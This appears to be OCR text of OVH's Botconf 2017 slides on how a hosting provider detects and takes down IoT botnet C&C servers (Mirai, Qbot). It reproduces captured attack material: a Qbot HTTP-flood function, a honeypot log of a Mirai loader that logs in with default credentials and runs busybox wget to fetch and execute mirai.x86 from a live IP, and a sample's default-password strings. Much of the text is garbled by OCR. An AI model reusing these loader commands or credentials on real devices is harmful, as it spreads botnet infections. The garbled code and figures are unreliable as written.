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[ HOSTING PROVIDER PARADOX

- Suffer from DDoS Attack
- You may host the C&C that hits you.

- The laws forbids you to look at your customer’s data.
- How to establish the infringement?

about ---

7.182.86.166

description follows ===

- Rely On Abuse reports bruteforce attempt (here are more reports: https://www.abuseipdb.com/check/217.182.86.166 )
_ Lot Of nOise logs follow ===

[root@centosser v log)# tail fail2ban.log-20171117
. . 2017-11-17 fail2ban.filter [1099): NFO Found .182.8
- Most Of the t|me |ncomp|ete 2017-11-17 fail2ban.filter [1099): INF Found .182.
2017-11-17 H ’ fail2ban.filter [1099]): " a s] Found .182.8
2017-11-17 : 5 fail2ban.filter [1099]): a Found .182.8
a Already gone 2017-11-17 :42,533 fail2ban.filter [1099) a Found 217.182.
2017-11-17 H fail2ban. r [1099) s] Found 182.

2017-11-17 H ’ 7 fail2ban. r [1099) Found .182.
2017-11-17 : , 74 fail2ban. r [1099) a s] Found .182.8
2017-11-17 : - fail2ban. r [1099) iptables] Found 217.182.86.166
2017-11-17 :50: fail2ban. i 3 [1099): N E [ssh-iptables]) Ban 217.182.86.166




BOTCONF
2017

INTERNET-OF-THINGS BOTNET
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PEER-TO-PEER INFECTION
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1300 /*
BOTCONF 1301 - -+-4+-4+-+ F-tt-tt-th-tb—d—t-
R SKIDZ % PR A SO SRR Hi -
1304 */
1305
1306 void sendHTTP(unsigned char *url, int end_time)
1307 {
1308 int end = time(NULL) + end_time;
1309 FILE *pf;
1310 char command[80];
1311 sprintf(command, “"wget -s -U \"\" ");
1312 strcat(command, url);
1313 strcat(command, " > /dev/null ");
1314
1315 pf = popen(command,“r");
1316
1317 while(end > time(NULL))
1318 {
1319 system(command) ;
1320 }
1321
1322 }
1323
1324 // — — -
1325 // . NV_\N /_\N /"N (DO
/ |
|
|

1326 // NN/ ST / \/
1327 // /N /S - N A NN

il

WHAT.IMDOI

ﬂ auckmerme com 1330 void processCmd(int argc, unsigned char *argv[]) ¥ OVH



wrco 1 STRONG POTENTIAL OF HAR

| awk '{print $1,%$2,%$3,%$6}"' sed. s/ /|/9" | cut:=f
1,2,3,7,8,10,11 —d *|' | sed "S/iisensasue bps/Gbps/" | sed
S/ anasa pps/Mpps/" | cut -f 2,3,4,5,6,7 -d ":" | sort |
rep "gone" | sed "s/gone|//"

Sep|18|10:49:12|tcp_ack|20Mpps |232Gbps
QBOT :58:32|tcp_ack|15Mpps|173Gbps
:17:02 | tcp_ack|19Mpps | 224Gbps
:44:17 |tcp_ack|19Mpps|227Gbps
Sep|18|19:05:47 |tcp_ack|66Mpps | 735Gbps

- 2015 - Social networks = 400 Gbps Se0{ 18120040127 Itep_ack[BdNpos|a6achos

Sep|18|22:43:32|tcp_ack|11Mpps|136Gbps

Sep|18|22:44:17 |tcp_ack|38Mpps |442Gbps
Sep|19|10:13:57 |tcp_ack|18Mpps|117Gbps
Sep|19|11:53:57 | tcp_ack|13Mpps |159Gbps

Sep|19|11:54:42|tcp_ack|52Mpps |607Gbps

Sep|19|22:51:57 |tcp_ack|18Mpps |115Gbps

MIRAI Sep|20|@1:40:02|tcp_ack|22Mpps |191Gbps
Sep|20|01:40:47 |tcp_ack|93Mpps|799Gbps

:50:07 | tcp_ack|14Mpps|124Gbps

:50:32|tcp_ack|72Mpps |615Gbps

th Sep|20|03:12:12|tcp_ack|49Mpps |419Gbps

= September, 20" 2016 - OVH 9 1 prS Sep|20|11:57:07 | tcp_ack|15Mpps | 178Gbps
Sep|20|11:58:02|tcp_ack|6@Mpps |698Gbps

- September, 20t 2016 — Krebs = 620 Gbps E R a N e prie
Sep|20|12:32:22|tcp_ack|50Mpps |587Gbps

Sep|20|12:47:02 | tcp_ack|18Mpps|210Gbps

Sep|20|12:48:17 |tcp_ack|49Mpps |572Gbps

i st _ Sep|21|05:09:42 | tcp_ack|32Mpps |144Gbps
OCtObeI", 21 2016 Dyn 9 1 prs Sep|21|20:21:37 |tcp_ack|22Mpps |122Gbps
Sep|22|00:50:57 | tcp_ack|16Mpps|191Gbps

Flows of the OVH attack
\fd OVH



ey HOW TO DETECT THOSE C&C ?

- Use Shodan to search for C&C banners 89.46.222.101
- Easy & reliable
- Not exhaustive enough 62.210.146.202

ONLINE SAS

!x SCANNER ON
1% FATCOCK

!x SCANNER ON

1% FATCOCK

45.32.166.146
Choopa, LLC :: “““N‘N“ET N
BE United States, Miam
- 360’s Netlab
‘elnet
i i 159.203.24.198
- Very interesting —

Il Canada, Toronto
Details

- Not suitable for abuse team

‘Wowrack.com
Turnkey Internet
OVH SAS

176.31.94.35

OVH SAS

ONLINE SAS
!x SCANNER ON

1% FATCOCK

\fd OVH



BOTCONF

w0 HOW TO RECOVER THE C&C ?

- Use our honeypots & sample analysis?
- Sandbox ?

- Exotic arch: MIPS, ARM, SH4, ...
- Old kernels (2.x)
- Up to 30 samples / min

- Code is easy to reverse
- “strings”

ovh@botnet-analyzer:~/analyzer/files/20171126% strings 1511665010-625-191.96.112.115-ftp |

grep -P "A[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}%"
191.96.112.115

8.8.8.8

\fd OVH



sy T WORKFLOW

- 1 - [ - I - N - - N -

Bots
Loaders

Login: root

Password: password

enable

shell

sh

/bin/busybox ECCHI

/bin/busybox ps; /bin/busybox ECCHI

/bin/busybox cat /proc/mounts; /bin/busybox ECCHI

/bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon; /bin/busybox cat /d
ev/.nippon; /bin/busybox rm /dev/.nippon

/bin/busybox ECCHI

cd /

/bin/busybox cp /bin/echo dvrHelper; >dvrHelper; /bin/busybox chmod 777 dvrHelp
er; /bin/busybox ECCHL

/bin/busybox cat /bin/echo

/bin/busybox ECCHI

/bin/busybox wget; /bin/busybox tftp; /bin/busybox ECCHI

/bin/busybox wget http://80.82.64.2:80/bins/mirai.x86 -0 - > dvrHelper; /bin/bu
sybox chmod 777 dvrHelper; /bin/busybox ECCHI

./dvrHelper telnet.x86; /bin/busybox IHCCE

rm -rf upnp; > dvrHelper; /bin/busybox ECCHI

Honeypots Sample Analyzer

Abuse

Reog

\fd OVH



e, T SAMPLE ANALYSIS

»

\fd OVH
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struct table_value xval = &table[id];
uint8_t k1l = table_key & Oxff,
k2 (table_key >> 8) & Oxff,
k3 (table_key >> 16) & oxff,
k4 (table _key >> 24) & Oxff;

for (1 = 0; 1 < val->val_len; i++)
{

val->val[i]

val->val[i]

val->val[i]

val->val[i]

#ifdef DEBUG

val->locked = !val->locked;
#¥endif
}

\fd OVH



e, T SAMPLE ANALYSIS

r@; /@httpmrl-l@osn@ @: <9f>AM<9f>Arwb<9f>Awb ADAH- AMVproc/net/tcp@/dev/mtchdogA@/dev/m «a;.ua),l AFGOVAF2«BOMF . 8E N<87><8a> V D<87><B8a>#Vi#<86>OfAF . | }awutq I8OnAF : §8V_ASOARAF#"""
\ 7 oA BAGASAGABABAGAR S BAGAGAGAAD pAIE & SYE2T4(~A:3EYY" " " Imc™3-<90>8-<95>FA? " <Ba>*WA  AMAF | T*4BALWANCE +C | BV&<Ba>ABVAKAA

; *YRAF U AMAFEN\<BD><Oa>#""" |AAF>"VIOFAF>-1eAR<Oa>#"""E ASlxy|FAZGOr>«7zM" *ODAN<BI>~M'*Gq<98>A0"""  1*«d
Z/@zmchmmwwwSAPAQAVWTWVAQAPAW@chwypwvmpmcm Jo-AF2«060 ¢ «EASE<BI>ZK " *A[GQ, EGPYYj&Ta" . """ «bx{yd; 1. «aOsE<8a>pTT«2; &Y . 4222222wu(q; 18<09>8] " *<83>8]"
OKLASAPAQAVA@QOACFOKLA@ATATATATATATA@INTASAPAQA@OGKLQOA@CFOKLKQVPCVMPA@QGPTKAGA@QWRGPTKQMPAEWGQVAGCFOII* YV . § E&T00! ; UYWOZyA? GwaCqERATYYEGK? " " ESATY TyA?4" " " rmquABAMAFLAOAEKAM" AB JVWIAMASALAS /(WQGPAOCEGLVAXA
KLASA@CFOKLKQVPCVMPAGNELVA@INTASAPAQAVAGXVGANAPASA@TKAQANASAZAGHTEXFA@CLIMAGXNZZALAGAUNHOIMARTKXZTA@AULIB " /( FMQVAXAB AR/ " egv" aMMIKGAXAB"AYAB" /(/C"AY" JVVR"WPNA_" rmqy" AE "AXo* 48 * (AR *@<82>8*A0<B2>&* AVRPMAAM

WHOIMARCFOKLAGQ[QVGOA@KTUBA@FPGCOBMZA@PGCNVGIAGARARARARARARARARA@ASASASASASASASAGDNATGPAGOMVIGPA@0G L nA|L GVAMVAR " AMF GTAMUCVAJ FME " AMFGTAMOKQAAMUCVAJFME " 1 4 s g2, 400 ¥ #5Q) ' #R1 " #RO" *<
@enterA@asswordA@OAEAEAHOAEAEAHUAFAEAHRAFAEAHPAGAEAH<O7>AEAEAHAUAHAEAHL  AEAHDAGAEAH# 82>> ' *<92>="*"p&*0A&* COAF GDEJKHINOLMRSPQUNTUARASAPAQAVARATAUAZ "xc3511" root " 888888 " xmhdipc"default" jua
AEAH™ AHAEAHSAWDAPTIARGT [AUEMAPPCZA [OAVEALPW" A@" 5A@<99>CA@NKQVGL KL EABVIWLAR " A@J VVRQAXAMAM [MWWAL@GAMF sUAVIIntech " 123456 54321 " support "password" 12345 " user"pass "admin1234" smcadmin" 666666 " k1v123"meinsm"Administr
UA[UEZAS " A@AMRPMAAM " A@AMGZG " A@AB lator"service"supervisor“guest"adminl"administratorubnt"klv1234"Zte521"hi3518" jvbzd"anko"z1xx. "7ujMko
FGNGVGFAK " A@AMDF " A@ALCLKOG " A@AMQVCVINQ " A@pg rmpvABAGQAXAGQ " A@j vvrdnmmf " A@nmnlmevdm" A@XMNNCPF " A@egvnmacnkilOvizxv" 7ujMkoBadmin" system" i kwb " dreambox" real tek" 00000000 " 1111111 " fucker"mother"MEKL " GLVGP" CQQUMPF"A"
r"A@QJGNN" A@GLCENG"A@Q[QVGO" ABQ] " A@AMBKLAMENQ[@MZABokpck " A@OKp CKAXABCRRNGVABLMVABDML F " A@LAMPPGAV " A@AMI| " *11" " #w$ * *ES ' *R%"' #u* " #7% " *N+. " #0% " *AA( ' *B* ' *q5f2k0evy7go2raxdmdg. rur@ " A@AN"»&"listening tun@ @ https:/
EKLAMENQ [EMZABRQ " A@AMBKLAMENQ [EMZABIKNNABAQA [AB " A@vgMWPAGABGL EKLGABSWGP [ A@AMGVAAMPGOMNTALAMLD " A@LCOGQIl/ youtu . be/dQwanINgXcQr@" /proc/Ae" /exer@" (deleted)A@"/fdr@" .animer@"/statusA@"REPORT %s:%sA@"HTTPFLOO
GPTGPAB" A@aMLLGAVKMLAXABIGGRAOCNKTG" A@QGVaMMIKG IDA@" LOLNOGTF0A@"zo11ard \@" GETLOCALIPA@" shel1A@" enableA@" system\@" shA@" /bin/busybox MIRAIA@"MIRAIL: app

AE"A@PGDPGQIAX " AGNMACVKMLAX " A@QGVAOAMMIKGAX " A@AMLVGLVAONGLEVIAX " A@VPCLQDGPAOGLAMFKLEAX " A@AIWLIGF “A@AML|]let not foundA@“ncorrectA@"/bin/busybox psA@"/bin/busybox kill -9 A@"TSource Engine Query @"/etc/reso
LGAVKMLAX " A@QGPTGPAXABFMQCPPGQV " A@QGPTGPAXABANMNFDNCPGAOL EKLZ " A@ZEAWIKQLAUAVOIAPZKAUEWAWAWFALSAWDAPIAR|]Lv . confA@"nameserver A@"Connection: keep-aliver@"setCookie('A@"refresh:A@"location:A@"set-cookie: \@"c
GT [AUEMAPPCZA [OAVEAL PW" A@AGAG~ZANAZ~ZAV F~ZAVG~ZAV G~ ZAVAQ~ZANAR~ZAVAT~ZAPAP " A@AGA@CAAGRVAXABVGZVAMIVONAflontent -1ength: A@"transfer-encoding : A@" chunked \@" connection: A@"server: dosarrestA@"server: cloudflare-
NCRRNKACVKMLAMZIVON ~ ZONANCRRNKACVKMLAMZONAY SA_ARALA[ANKOCEGAMUGBRANAHAMAHAY SA_ARALAZ " A@CAAGRVAONCLEM]NginxA@' xg5kisn74mk2xi7quS5d.a5fZk@evy7goZrax9mdg. ru 8" " "\x58\x4D\x4E\x4E\x43\x50\x46\x22/@" " "Accept :

CEGAXABGLAOWGANGLAY SA_ARALAZ " A@A@A@A@aMLVGLVAQV [RGAXABCRRNKACVKMLAMZAQUUUAODMPOAOWPNGLAMFGF " A@A@ @ @oMl] text/html ,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8/@"Accept-Language: en-US,
XKNNCAMAWALARAB len; g=0.8/@""""Content-Type: application/x-www-form-urlencoded’@""""Mozilla/5.0 (Windows NT 10.0; WOW6
IKLWBIVABASARALARAYAWTAVAKABWKV/‘NAMV\LAQATAB 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36/@"Mozilla/5.0 (Windows N
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e, T SAMPLE ANALYSIS

'$ r2 1512080221-914-rozew.tk-masuta.x86
Warning: Cannot initialize dynamic strings
-- You can redefine descriptive commands in the hud file and using the 'V_' command.
[0x08048164]> s @x804clS5c

[0x0804c15c]> pd 20

0x0804c15c 90

0x0804c15d 90

0x0804c15e 90

0x0804c15f 90

0x0804c160 83ecl8 sub esp, 0x18

0x0804c163 6002 push 2 ; 2

0x0804c165 876290000 call Ox804eaed

0x0804c16a 58 pop eax

0x0804c16b S5a pop edx

0x0804c16¢ 6a00 push @

0x0804c16e C70588350508. mov dword [0x8053588], 0x770cl7d9 | [0x8053588:4]=0
0x0804c178 6002 push 2

0x0804c17a e8b1280000 call Ox804ea3d

0x0804c17f 668b00 mov ax, word [eax]

0x0804c182 C70424020000. mov dword [esp], 2

0x0804c189 660386350508 mov word [0x8053586], ax ; [0x8053586:2]=0
0x0804c18f e8cc280000 call @x804eatd

0x0804c194 83c4lc add esp, @xlc

0x0804c197 c3 ret

0x0804c198 90

rovosoa~1c~1< B
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e, T SAMPLE ANALYSIS

» »

LAPTOP681505: extract-const smeriot$ ./extract-const samples/1512080221-914-rozew.tk-masuta.x86
Candidates:

2a2a524a -> [74 82 42 42] => NOP [Connection timed out.]

100007f -> [127 @ @ 1] => NOP [Loopback]

8080808 -> [8 8 8 8] => NOP [Google DNS]

591a7bb® -> [176 123 26 89] => NOP [Connection refused.]

6400640 -> [64 6 64 6] => NOP [Unrelevant (entropy)]

2020204 -> [4 2 2 2] => NOP [Unrelevant (entropy)]

770c17d9 -> [217 23 12 119] => SUCCESS

\fd OVH



e, T SAMPLE ANALYSIS

»

L)

\fd OVH



e, T SAMPLE ANALYSIS

A
LAPTOP681505: extract-xor-key smeriot$ time ./extract-xor-key dvrMoney
Candidates:
0
Oxdeadbeef

LAPTOP681505: extract-xor-key smeriot$ time ./extract-xor-key 1512196784-912-sunlessmods.xyz-masuta.x86
Candidates:

0

Oxdedeffba

\fd OVH
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SAMPLE ANALYSIS

n-0-0
2

\fd OVH



g 1 STATISTICS




woieox | RESPONSIVENESS

Publicld : SCBFGTMWHJ Customer |0 : SE-ovh Name - (—
Madler |d - 7898912 Email : sEREEERIO Ymall.com Spare emal
Caregory vps.ovh.ca . Biting Country : WE
Status | WaltingAnswer ce - 08/10/17 Language : EN
carvices - 8 [ | Los Angeles
m Tickots * 2 Individual
ﬁ . Commens o

02/12/2017

[.12.174:80/bins/mira1.x86|

Honeypot report for http://144.217.12.174:80/bins/mirai.x86

URL: http://144.217.12.174:80/bins/mirai.x86 Detected in 3 day
Botnet Family: mirai
afterithe vps
creation

Ref Domain
vps.ssd.2017v2.model1 vps159854.vps.ovh.ca

Category: Malware

Creation
30/11/17 09:55

xpiration Auto-renew State
P2/03/18 09:55 rupture

vps.ssd.2017v2.modell vps159853.vps.ovh.ca P2/03/18 09:55 rupture
vps.ssd.2017v2.model1 vps159549.vps.ovh.ca 8 . 8/02/18 09:11 rupture
vps.ssd.2017v2.modell vps154011.vps.ovh.ca 30/10/17 11:05 02/03/18 11:05 rupture

vps.ssd.2015v1.model2 vps150831.vps.ovh.ca 09/10/17 12:20 09/10/17 12:20 rupture




e, LESS C&C HOSTED BUT UPWARDS TREND
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o | GLOBALISATION

- Being more reactive together
- Detecting IOT C&C
- Detecting bots
- Let’s hope manufacturer will learn from their mistakes...

Ranking Of The Most Targeted Autonomous System By IOT C&C Over The Months

02/2017 03/2017 04/2017 05/2017 06/2017 07/2017 08/2017 09/2017 10/2017 11/2017




e T CONCLUSION

Strong potential to cause harm (still)
But... Easy to detect and to take down !

Managing Abuse is a hard job !

How to share data?
- Abuse Report Format (ARF / X-ARF)
- Botconf 2015: The Missing Piece Of Threat Intel, Frank Denis

\fd OVH
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